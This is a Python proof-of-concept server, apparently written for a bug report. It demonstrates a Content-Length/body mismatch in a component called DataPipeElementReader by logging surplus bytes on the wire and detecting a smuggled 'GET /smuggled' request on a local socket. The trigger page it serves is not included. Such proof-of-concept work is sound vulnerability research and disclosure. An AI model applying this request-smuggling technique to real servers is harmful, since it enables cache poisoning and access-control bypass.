#!/usr/bin/env python3
"""
POC server for DataPipeElementReader Content-Length / body mismatch.

Behavior:
  * GET /poc.html  -> serves the trigger page.
  * POST /target   -> raw-socket handler. Reads the *entire* TCP stream
                      (not just Content-Length bytes) and dumps it. This
                      makes the smuggled bytes visible.
  * Any request whose first line starts with "GET /smuggled" -> proves
    the surplus body bytes were parsed as a second HTTP request on the
    same connection.

All output goes to stdout and to ./wire.log.
"""
import os
import socket
import sys
import threading
import time

HOST, PORT = "127.0.0.1", 8080
HERE = os.path.dirname(os.path.abspath(__file__))
LOG_PATH = os.path.join(HERE, "wire.log")
log_lock = threading.Lock()


def log(msg: str):
    with log_lock:
        line = msg if msg.endswith("\n") else msg + "\n"
        sys.stdout.write(line)
        sys.stdout.flush()
        with open(LOG_PATH, "a") as f:
            f.write(line)


def read_file(name: str) -> bytes:
    with open(os.path.join(HERE, name), "rb") as f:
        return f.read()


def http_response(status: str, body: bytes, ctype: str = "text/html") -> bytes:
    return (
        f"HTTP/1.1 {status}\r\n"
        f"Content-Type: {ctype}\r\n"
        f"Content-Length: {len(body)}\r\n"
        f"Connection: keep-alive\r\n"
        f"\r\n"
    ).encode() + body


def recv_until_headers(conn: socket.socket, buf: bytearray) -> int:
    """Read until we have a full header block. Returns index after \r\n\r\n."""
    while True:
        idx = buf.find(b"\r\n\r\n")
        if idx >= 0:
            return idx + 4
        chunk = conn.recv(65536)
        if not chunk:
            return -1
        buf += chunk


def drain_extra(conn: socket.socket, timeout: float = 1.5) -> bytes:
    """Read whatever else arrives on the socket within `timeout` seconds."""
    conn.settimeout(timeout)
    extra = bytearray()
    try:
        while True:
            chunk = conn.recv(65536)
            if not chunk:
                break
            extra += chunk
    except socket.timeout:
        pass
    except OSError:
        pass
    conn.settimeout(None)
    return bytes(extra)


def handle_conn(conn: socket.socket, addr):
    buf = bytearray()
    try:
        while True:
            hdr_end = recv_until_headers(conn, buf)
            if hdr_end < 0:
                return
            head = bytes(buf[:hdr_end])
            del buf[:hdr_end]
            first_line = head.split(b"\r\n", 1)[0].decode(errors="replace")
            headers = head.decode(errors="replace")

            if first_line.startswith("GET /poc.html"):
                conn.sendall(http_response("200 OK", read_file("poc.html")))
                continue

            if first_line.startswith("GET /favicon"):
                conn.sendall(http_response("404 Not Found", b"no"))
                continue

            if first_line.startswith("GET /smuggled"):
                log("=" * 72)
                log("[!!!] SMUGGLED REQUEST RECEIVED — surplus body bytes were "
                    "parsed as a new HTTP request:")
                log(headers)
                log("=" * 72)
                conn.sendall(http_response("200 OK", b"smuggled-ok"))
                continue

            if first_line.startswith("POST /target"):
                # Parse declared Content-Length.
                cl = 0
                for line in headers.split("\r\n"):
                    if line.lower().startswith("content-length:"):
                        cl = int(line.split(":", 1)[1].strip())
                # Read the declared body (may already be in buf).
                while len(buf) < cl:
                    chunk = conn.recv(65536)
                    if not chunk:
                        break
                    buf += chunk
                declared_body = bytes(buf[:cl])
                del buf[:cl]
                # Now drain anything *beyond* Content-Length on this socket.
                extra = bytes(buf) + drain_extra(conn)
                buf.clear()

                log("=" * 72)
                log("[*] POST /target — raw request headers:")
                log(headers)
                log(f"[*] Declared Content-Length: {cl}")
                log(f"[*] Declared body         : {declared_body!r}")
                log(f"[*] Surplus bytes on wire : {len(extra)}")
                if extra:
                    log("[!!!] CONTENT-LENGTH / BODY MISMATCH — network service "
                        "wrote more body bytes than Content-Length declared.")
                    log("[!!!] Surplus bytes (would be parsed as next request):")
                    log(extra.decode(errors="replace"))
                else:
                    log("[*] No surplus bytes (bug not triggered).")
                log("=" * 72)

                conn.sendall(http_response("200 OK", b"ok"))
                # If surplus contained a full request, loop and let the
                # request-line dispatcher above also log it as /smuggled.
                buf += extra
                continue

            # Unknown.
            conn.sendall(http_response("404 Not Found", b"?"))
    except Exception as e:
        log(f"[conn error] {e!r}")
    finally:
        try:
            conn.close()
        except OSError:
            pass


def main():
    if os.path.exists(LOG_PATH):
        os.remove(LOG_PATH)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind((HOST, PORT))
    s.listen(16)
    log(f"[*] POC server listening on http://{HOST}:{PORT}/poc.html")
    while True:
        conn, addr = s.accept()
        threading.Thread(target=handle_conn, args=(conn, addr), daemon=True).start()


if __name__ == "__main__":
    main()